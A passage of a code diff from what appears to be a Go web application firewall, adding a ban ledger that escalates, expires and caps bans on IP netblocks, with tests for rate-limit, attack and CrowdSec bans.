+// keep is true, the ban is not made, only returned: it is the ban that
+// would have been made.
+func (l *Ledger) ban(
+	netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
+	keep bool,
+) (Ban, bool) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	// held are the netblock's bans, none of them active.
+	var held []Ban
+
+	bans, found := l.netblocks.Get(netblock)
+	if found {
+		active := activeBan(*bans, now)
+		if active != nil {
+			return *active, false
+		}
+
+		held = *bans
+		notes.EarlierBans = earlierBans(held)
+	}
+
+	notes.Request = notes.Request.cut()
+	ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
+
+	switch cause {
+	case CauseAttack:
+		ban.Expires = l.attackExpiry(held, now)
+	case CauseLimit:
+		ban.Expires = l.limitExpiry(held, now)
+	default: // CauseCrowdSec
+		ban.Expires = expires
+	}
+
+	if !keep {
+		return ban, true
+	}
+
+	l.add(ban)
+	l.made[cause]++
+	l.markChanged()
+
+	return ban, true
+}
+
+// earlierBans returns how many bans a netblock with the bans held, oldest
+// first, has had, by cause. Each ban held gives a count: the bans its
+// notes count before it, and one for it and each ban held after it. A
+// ban's count misses a ban dropped after it to make room, and that of an
+// admin's ban added to bans.json without notes misses the bans before it,
+// so the count that names the most bans is taken, whole: a ban an admin
+// keeps by giving it CauseAdmin is still counted under its old cause in
+// later bans' notes, and taking each cause from another count would count
+// it twice.
+func earlierBans(held []Ban) EarlierBans {
+	// fromHere counts ban and the bans held after it.
+	var most, fromHere EarlierBans
+
+	for _, ban := range slices.Backward(held) {
+		switch ban.Cause {
+		case CauseLimit:
+			fromHere.Limit++
+		case CauseAttack:
+			fromHere.Attack++
+		case CauseAdmin:
+			fromHere.Admin++
+		case CauseCrowdSec:
+			fromHere.CrowdSec++
+		}
+
+		notes := ban.Notes.EarlierBans
+		count := EarlierBans{
+			Limit:    notes.Limit + fromHere.Limit,
+			Attack:   notes.Attack + fromHere.Attack,
+			Admin:    notes.Admin + fromHere.Admin,
+			CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
+		}
+
+		// Of counts that name as many bans, the earlier ban's is taken: it
+		// counts more of the bans held by the cause they have now.
+		if count.total() >= most.total() {
+			most = count
+		}
+	}
+
+	return most
+}
+
+// total returns how many bans e counts, of all causes.
+func (e EarlierBans) total() int {
+	return e.Limit + e.Attack + e.Admin + e.CrowdSec
+}
+
+// markChanged has Changed receive a value, unless one is waiting already.
+func (l *Ledger) markChanged() {
+	select {
+	case l.changed <- struct{}{}:
+	default: // a value is waiting already
+	}
+}
+
+// active returns the ban active at now on a netblock client is in, or
+// nil.
+func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
+	lengths := l.v6Lengths
+	if client.Is4() {
+		lengths = l.v4Lengths
+	}
+
+	for _, length := range lengths {
+		bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
+		if !found {
+			continue
+		}
+
+		ban := activeBan(*bans, now)
+		if ban != nil {
+			return ban
+		}
+	}
+
+	return nil
+}
+
+// covering returns the bans of each netblock held that client is in,
+// leaving when the netblocks were last seen unchanged.
+func (l *Ledger) covering(client netip.Addr) []*[]Ban {
+	lengths := l.v6Lengths
+	if client.Is4() {
+		lengths = l.v4Lengths
+	}
+
+	var found []*[]Ban
+
+	for _, length := range lengths {
+		bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
+		if ok {
+			found = append(found, bans)
+		}
+	}
+
+	return found
+}
+
+// add adds ban to its netblock's bans, after the last, and makes its
+// netblock the most recently seen. With MaxBans held, it drops one first,
+// unless ban's cause is CauseAdmin, which does not count toward MaxBans.
+func (l *Ledger) add(ban Ban) {
+	counted := ban.Cause != CauseAdmin
+	if counted && l.held == l.rules.MaxBans {
+		l.dropOne()
+	}
+
+	// dropOne can have dropped the netblock's last ban, and the netblock
+	// with it.
+	bans, found := l.netblocks.Get(ban.Netblock)
+	if !found {
+		bans = &[]Ban{}
+		l.netblocks.Add(ban.Netblock, bans)
+	}
+
+	*bans = append(*bans, ban)
+
+	if counted {
+		l.held++
+	}
+
+	lengths := &l.v6Lengths
+	if ban.Netblock.Addr().Is4() {
+		lengths = &l.v4Lengths
+	}
+
+	if !slices.Contains(*lengths, ban.Netblock.Bits()) {
+		*lengths = append(*lengths, ban.Netblock.Bits())
+	}
+}
+
+// limitExpiry returns when a ban for a broken limit made at now ends, or
+// zero when it is permanent. held are the netblock's bans, none of them
+// active, of which the one that ended last, other than a ban for a clear
+// sign of attack or for CrowdSec's decision, or a lifted one, can make the
+// new ban longer. A ban an admin adds to bans.json can start after
+// another and end before it, so that one is looked for among them all.
+func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
+	length := l.rules.LimitBanDuration
+
+	var last *Ban
+
+	for i, ban := range held {
+		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
+			(last == nil || ban.Expires.After(last.Expires)) {
+			last = &held[i]
+		}
+	}
+
+	if last != nil && now.Sub(last.Expires) <= l.rules.LimitBanRepeatWindow {
+		lastLength := last.Expires.Sub(last.Start)
+		// This is repeatFactor * lastLength > MaxBanDuration, written so
+		// that it cannot overflow.
+		if lastLength > l.rules.MaxBanDuration/repeatFactor {
+			return time.Time{}
+		}
+
+		length = repeatFactor * lastLength
+	}
+
+	if length > l.rules.MaxBanDuration {
+		return time.Time{}
+	}
+
+	return now.Add(length)
+}
+
+// attackExpiry returns when a ban for a clear sign of attack made at now
+// ends. held are the netblock's bans, none of them active: if one of them
+// is for a clear sign of attack too, and was not lifted, the new ban is
+// permanent, and its end zero; otherwise it ends AttackBanDuration later.
+func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time {
+	for _, ban := range held {
+		if ban.Cause == CauseAttack && ban.Lifted.IsZero() {
+			return time.Time{}
+		}
+	}
+
+	return now.Add(l.rules.AttackBanDuration)
+}
+
+// dropOne drops the earliest ban whose cause is not CauseAdmin of the
+// netblock that has gone longest without a request, of those that hold
+// such a ban, and the netblock with it if that was its only ban. It is
+// called with at least one such ban held. It looks at each netblock once
+// at most, and drops nothing when none holds such a ban.
+func (l *Ledger) dropOne() {
+	for range l.netblocks.Len() {
+		netblock, bans, _ := l.netblocks.GetOldest()
+
+		i := slices.IndexFunc(*bans, func(ban Ban) bool {
+			return ban.Cause != CauseAdmin
+		})
+		if i < 0 {
+			// Its bans are all an admin's, and never dropped. Get makes
+			// it the most recently seen, so that the next netblock is
+			// looked at; when it was seen matters only for dropping a
+			// ban, and a ban added to it makes it the most recently seen
+			// anyway.
+			l.netblocks.Get(netblock)
+
+			continue
+		}
+
+		if len(*bans) == 1 {
+			l.netblocks.Remove(netblock)
+		} else {
+			*bans = slices.Delete(*bans, i, i+1)
+		}
+
+		l.held--
+
+		return
+	}
+}
+
+// cut returns r with each text cut to maxTextBytes and copied, so that
+// the notes do not keep the rest of the request in memory.
+func (r Request) cut() Request {
+	r.Method = cutText(r.Method)
+	r.Host = cutText(r.Host)
+	r.Path = cutText(r.Path)
+	r.UserAgent = cutText(r.UserAgent)
+
+	return r
+}
+
+// cutText returns a copy of the first maxTextBytes of text.
+func cutText(text string) string {
+	return strings.Clone(text[:min(len(text), maxTextBytes)])
+}

internal/bans/bans_test.go

@@ -0,0 +1,523 @@
+package bans_test
+
+import (
+	"net/netip"
+	"reflect"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+)
+
+const day = 24 * time.Hour
+
+func TestRepeatsTripleUntilPermanent(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	now := midnight()
+
+	// Each ban is followed by another as soon as it ends: 1, 3, 9, 27 and
+	// 81 hours.
+	for i, hours := range []int{1, 3, 9, 27, 81} {
+		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
+
+		length := time.Duration(hours) * time.Hour
+		if !ban.Expires.Equal(now.Add(length)) ||
+			ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
+			t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
+				i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
+		}
+
+		now = ban.Expires
+	}
+
+	// The sixth would last 243 hours, more than seven days: it is
+	// permanent, and never ends.
+	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
+	if !ban.Permanent() {
+		t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires)
+	}
+
+	_, banned, _ := ledger.Check(netblock.Addr(), now.Add(100*365*day))
+	if !banned {
+		t.Error("a permanent ban ended")
+	}
+}
+
+func TestRepeatWindowRunsOut(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		// gap is the time between the end of the first ban and the second.
+		gap  time.Duration
+		want time.Duration
+	}{
+		{"broken again as the window ends", day, 3 * time.Hour},
+		{"broken again after the window", day + time.Nanosecond, time.Hour},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			ledger := bans.New(defaultRules())
+			netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+			first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+			second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
+
+			if second.Expires.Sub(second.Start) != tc.want ||
+				second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+				t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
+					second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
+			}
+		})
+	}
+}
+
+func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
+	t.Parallel()
+
+	rules := defaultRules()
+	rules.LimitBanDuration = rules.MaxBanDuration + time.Hour
+	ledger := bans.New(rules)
+
+	ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
+		bans.Notes{})
+	if !ban.Permanent() {
+		t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
+	}
+}
+
+func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
+	t.Parallel()
+
+	// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
+	// hours, is within the maximum, and three times as long would not fit
+	// in a time.Duration. The 15th is permanent.
+	rules := defaultRules()
+	rules.MaxBanDuration = 100000 * day
+	ledger := bans.New(rules)
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	now := midnight()
+
+	for i := range 14 {
+		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
+		if !ban.Expires.After(ban.Start) {
+			t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
+		}
+
+		now = ban.Expires
+	}
+
+	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
+	if !ban.Permanent() {
+		t.Errorf("15th ban ends at %s, want a permanent one", ban.Expires)
+	}
+}
+
+func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+	first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	if !made {
+		t.Error("the first ban was not made")
+	}
+
+	again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+
+	if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
+		t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
+			"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
+	}
+
+	again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
+	if made || !reflect.DeepEqual(again, first) {
+		t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
+			again, made, first)
+	}
+}
+
+func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
+
+	for range 3 {
+		got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
+		if !banned || got.Start != ban.Start {
+			t.Fatalf("check during the ban gives %+v and %t", got, banned)
+		}
+	}
+
+	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
+	if banned {
+		t.Error("another netblock is banned")
+	}
+
+	_, banned, _ = ledger.Check(netblock.Addr(), ban.Expires)
+	if banned {
+		t.Error("the ban did not end")
+	}
+
+	// The netblock's requests went from 5 to 8 with the three refused.
+	notes := ledger.Bans(netblock)[0].Notes
+	if notes.Refused != 3 || notes.Requests != 8 {
+		t.Errorf("the notes count %d refused requests of %d, want 3 of 8",
+			notes.Refused, notes.Requests)
+	}
+}
+
+func TestFindCountsNothing(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
+
+	got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
+	if !banned || !reflect.DeepEqual(got, ban) {
+		t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
+	}
+
+	_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
+	if banned {
+		t.Error("the ban did not end")
+	}
+
+	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
+		t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
+	}
+}
+
+func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
+	t.Parallel()
+
+	rules := defaultRules()
+	rules.MaxBans = 3
+	ledger := bans.New(rules)
+	a := netip.MustParsePrefix("203.0.113.1/32")
+	b := netip.MustParsePrefix("203.0.113.2/32")
+	c := netip.MustParsePrefix("203.0.113.3/32")
+	d := netip.MustParsePrefix("2001:db8::/64")
+	now := midnight()
+
+	first, _ := ledger.BanForLimit(a, now, bans.Notes{})
+	ledger.BanForLimit(b, now, bans.Notes{})
+	ledger.BanForLimit(c, now, bans.Notes{})
+
+	// A request from a makes b the netblock seen longest ago, and its ban
+	// goes to make room for d's.
+	ledger.Check(a.Addr(), now)
+	ledger.BanForLimit(d, now, bans.Notes{})
+	wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 0, c: 1, d: 1})
+
+	// a is banned again once its ban has ended; c, seen longest ago, goes.
+	ledger.BanForLimit(a, first.Expires, bans.Notes{})
+	wantBans(t, ledger, map[netip.Prefix]int{a: 2, c: 0, d: 1})
+
+	// With d seen since, a is seen longest ago, and its earlier ban goes
+	// first.
+	ledger.Check(d.Addr(), first.Expires)
+	ledger.BanForLimit(b, first.Expires, bans.Notes{})
+	wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
+
+	if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
+		t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
+	}
+}
+
+func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
+	t.Parallel()
+
+	// With room for one ban, the netblock's ended ban goes to make room for
+	// its new one, whose notes still count it.
+	rules := defaultRules()
+	rules.MaxBans = 1
+	ledger := bans.New(rules)
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
+
+	held := ledger.Bans(netblock)
+	if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
+		held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+		t.Errorf("the ledger holds %+v, want only the second ban, "+
+			"with 1 earlier ban for a limit", held)
+	}
+}
+
+func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	notes := bans.Notes{RuleID: "env-file", Target: "path"}
+
+	ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
+	if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
+		ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
+		ledger.Made(bans.CauseLimit) != 0 {
+		t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
+			"want one for an attack, of seven days", ban,
+			ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
+	}
+
+	wantChanged(t, ledger, true)
+
+	// In observe mode the ban refuses nothing, and stays as it is, while
+	// Find tells that the request would have made it permanent.
+	got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
+	if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
+		t.Fatalf("a request found under the ban left it %+v, would have made it "+
+			"permanent %t, want it as it was, and true", got, wouldMakePermanent)
+	}
+
+	wantChanged(t, ledger, false)
+
+	// A request it refuses makes it permanent, says so, and makes
+	// bans.json due.
+	got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
+	if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
+		t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
+			"want it made permanent", got, madePermanent)
+	}
+
+	wantChanged(t, ledger, true)
+
+	// The next request finds it permanent already.
+	_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
+	if !banned || madePermanent {
+		t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
+			"want banned by the permanent ban", banned, madePermanent)
+	}
+}
+
+func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+	// A ban for a broken limit before does not count.
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	second, _ := ledger.BanForAttack(netblock, first.Expires, bans.Notes{})
+
+	if second.Expires.Sub(second.Start) != 7*day {
+		t.Fatalf("the first ban for an attack lasts %s, want 7 days",
+			second.Expires.Sub(second.Start))
+	}
+
+	// Once that has run out without a request, the netblock is served, and
+	// its next clear sign of attack bans it for good.
+	_, banned, _ := ledger.Check(netblock.Addr(), second.Expires)
+	if banned {
+		t.Fatal("the ban did not end")
+	}
+
+	// Its notes show the earlier ban for an attack that makes it permanent,
+	// beside the one for a limit.
+	third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
+	if !third.Permanent() ||
+		third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
+		t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
+			"with 1 earlier ban for a limit and 1 for an attack", third)
+	}
+}
+
+func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	wantChanged(t, ledger, true)
+
+	// While the first ban lasts, none would be made.
+	during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
+	if would || !reflect.DeepEqual(during, first) {
+		t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
+			would, during, first)
+	}
+
+	// As it ends, a clear sign of attack would ban for seven days, and a
+	// limit broken again for three hours, but neither is made.
+	limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
+	attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
+		bans.Notes{RuleID: "git-dir"})
+	limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
+
+	if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
+		attack.Reason != "matched the rule git-dir" || !wouldLimit ||
+		!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
+		limit.Reason != "requests per minute over the limit of 1" {
+		t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
+			"three hours for the limit", attack, limit)
+	}
+
+	if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
+		ledger.Made(bans.CauseAttack) != 0 {
+		t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
+	}
+
+	wantChanged(t, ledger, false)
+
+	// The ban made is the one that would have been.
+	made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
+	if !reflect.DeepEqual(made, limit) {
+		t.Errorf("the ban made is %+v, want %+v", made, limit)
+	}
+}
+
+func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	now := midnight()
+
+	// Five bans for a limit in a row, of 1, 3, 9, 27 and 81 hours, are not
+	// permanent. The sixth, of 243 hours, would be, while a first ban for
+	// an attack would not.
+	for i := range 5 {
+		if ledger.WouldBePermanent(netblock, now, bans.CauseLimit) {
+			t.Fatalf("ban %d for a limit would be permanent", i+1)
+		}
+
+		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
+		now = ban.Expires
+	}
+
+	if !ledger.WouldBePermanent(netblock, now, bans.CauseLimit) {
+		t.Error("the sixth ban for a limit would not be permanent")
+	}
+
+	if ledger.WouldBePermanent(netblock, now, bans.CauseAttack) {
+		t.Error("a first ban for an attack would be permanent")
+	}
+
+	// Once a first ban for an attack has ended, the next would be permanent.
+	attack, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
+	if !ledger.WouldBePermanent(netblock, attack.Expires, bans.CauseAttack) {
+		t.Error("a second ban for an attack would not be permanent")
+	}
+}
+
+func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+	// Three times the seven days would be permanent; a limit broken as the
+	// ban for an attack ends bans for an hour, as a first broken limit does.
+	attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
+	limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
+
+	if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
+		t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
+	}
+
+	// And a request during the ban for a limit leaves it as it is.
+	got, _, madePermanent := ledger.Check(netblock.Addr(), limit.Start)
+	if got.Permanent() || madePermanent {
+		t.Error("a request during a ban for a limit made it permanent")
+	}
+}
+
+func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	long := strings.Repeat("a", 300)
+	request := bans.Request{
+		Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
+	}
+
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
+
+	cut := long[:256]
+	want := bans.Request{
+		Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
+	}
+
+	if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
+		t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
+	}
+}
+
+func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	other := netip.MustParsePrefix("198.51.100.7/32")
+
+	// A ban made with the client's lookup, one made before it came, after
+	// the first ended, and one on another netblock.
+	ledger.BanForLimit(netblock, midnight(), bans.Notes{
+		ASN: "AS64497", ASName: "Other Net", Country: "FR",
+	})
+	ledger.BanForLimit(netblock, midnight().Add(time.Hour), bans.Notes{})
+	ledger.BanForLimit(other, midnight(), bans.Notes{})
+
+	ledger.AddLookup(netblock, "AS64496", "Example Net", "DE")
+
+	held := ledger.Bans(netblock)
+	if len(held) != 2 {
+		t.Fatalf("%s has %d bans, want 2", netblock, len(held))
+	}
+
+	for i, want := range []bans.Notes{
+		{ASN: "AS64497", ASName: "Other Net", Country: "FR"},
+		{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
+	} {
+		got := held[i].Notes
+		if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
+			t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
+				got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
+		}
+	}
+
+	if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
+		t.Errorf("the ban on %s has %q and %q, want neither",
+			other, notes.ASN, notes.Country)
+	}
+}
+
+// defaultRules are the rules at the settings' defaults.
+func defaultRules() bans.Rules {
+	return bans.Rules{
+		LimitBanDuration:     time.Hour,
+		LimitBanRepeatWindow: day,
+		MaxBanDuration:       7 * day,
+		AttackBanDuration:    7 * day,
+		MaxBans:              5000,
+	}
+}
+
+// midnight is when the tests' first bans are made.
+func midnight() time.Time {
+	return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
+}
+
+// wantBans checks how many bans the ledger holds on each netblock.
+func wantBans(t *testing.T, ledger *bans.Ledger, want map[netip.Prefix]int) {
+	t.Helper()
+
+	for netblock, count := range want {
+		got := len(ledger.Bans(netblock))
+		if got != count {
+			t.Errorf("%s has %d bans, want %d", netblock, got, count)
+		}
+	}
+}

internal/bans/crowdsec_test.go

@@ -0,0 +1,90 @@
+package bans_test
+
+import (
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+)
+
+// scenario is the scenario of the tests' CrowdSec decisions.
+const scenario = "crowdsecurity/ssh-bf"
+
+func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	expires := midnight().Add(4 * time.Hour)
+
+	// The ban that would be made is not made.
+	would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
+		scenario, bans.Notes{})
+	if !wouldBan || len(ledger.Bans(netblock)) != 0 {
+		t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
+			wouldBan, ledger.Bans(netblock))
+	}
+
+	const reason = "CrowdSec's decision for " + scenario
+
+	ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
+		bans.Notes{})
+	if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
+		!ban.Expires.Equal(expires) || ban.Reason != reason ||
+		ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
+			"crowdsec until %s", made, ban, would, expires)
+	}
+
+	// A second decision on the netblock while the ban lasts makes no other.
+	again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
+		expires.Add(time.Hour), scenario, bans.Notes{})
+	if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
+	}
+}
+
+func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	expires := midnight().Add(4 * time.Hour)
+	ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
+
+	// A request as the ban ends is refused, and leaves it as it is.
+	last := expires.Add(-time.Nanosecond)
+
+	held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
+	if !banned || madePermanent || !held.Expires.Equal(expires) ||
+		ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
+		t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
+			"refused under the ban as it was", banned, held, madePermanent)
+	}
+
+	if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
+		t.Error("the ban refuses a request once the decision has ended")
+	}
+}
+
+func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+	// Three times the three days would be permanent; a limit broken as the
+	// ban for CrowdSec's decision ends bans for an hour, as a first broken
+	// limit does.
+	crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
+		scenario, bans.Notes{})
+	limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
+
+	if limit.Expires.Sub(limit.Start) != time.Hour ||
+		limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
+		t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
+			limit)
+	}
+}

internal/bans/snapshot_test.go

@@ -0,0 +1,315 @@
+package bans_test
+
+import (
+	"net/netip"
+	"reflect"
+	"slices"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+)
+
+func TestChangedAfterABanIsMade(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+	wantChanged(t, ledger, false)
+
+	ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	wantChanged(t, ledger, true)
+
+	// A limit broken during the ban makes no other, and a refusal changes
+	// only the counts in the notes, which wait for the interval's write.
+	ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
